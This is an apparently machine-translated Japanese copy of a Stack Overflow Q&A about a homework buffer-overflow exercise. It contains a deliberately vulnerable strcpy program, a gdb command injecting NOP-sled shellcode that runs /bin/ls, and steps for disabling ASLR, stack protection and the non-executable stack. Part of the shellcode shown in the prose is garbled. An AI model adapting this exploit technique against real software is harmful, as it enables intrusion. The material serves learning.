2011-08-06 11 views
4

Backtrack Linuxで単純なバッファオーバーフローの手法を習得しようとしています。ここで 宿題 - bufferoverflowを利用できない

これは、単純な /bin/ls \ X31 \ XC0 \ X83 \ XEC \ X01 \ X88 \ X04 \ X24 \ X68 \ x6eに対応して、私が使用しているシェルコードは、ある

#include <stdio.h> 
#include <string.h> 

int main(int argc, char **argv) 
{ 
    char buffer[500]; 
    if(argc==2) 
    { 

    strcpy(buffer, argv[1]); //vulnerable function 

    } 

    return 0; 
} 

私のCプログラムです\ x2 \ x6 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ \ XD2 \ XCD \ X80 \ XB0 \ X01 \ X31 \ XDB \ XCD \ X80私は、次のコマンドを使用してGDBで、このシェルコードを注入

run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35') 

アプリケーションをステップ実行すると、最終的にret命令にSIG FAULTが生成されます。その時点でEIP0xffffd30cに正しく設定されています。このアドレスはアドレス指定可能であり、一連のNOPを含み、その後にペイロードに表示されるシェルコードが続きます。

私はsudo echo 0 > /proc/sys/kernel/randomize_va_space

ASLR を無効にしても、私のバイナリ使用してfno-stack-protectorオプションをまとめました。

SIGSEGVの原因は何ですか?

+0

を次のようにこれは、GCCで無効にすることができますgdbの出力を投稿することができますか?余分な目は何かをキャッチするのに役立つかもしれない – pepsi

+0

@pepsi:問題が見つかった、スタック領域が実行不可能だった、gccを使用して有効にした –

+0

誰もが同じプロジェクトで再び作業している? http://stackoverflow.com/questions/6962770/shellcodes-not-working –

答えて

5

私は自分の質問に答えている、問題は、スタックメモリ内で実行することができません「実行スタック保護」、でした。

gcc -z execstack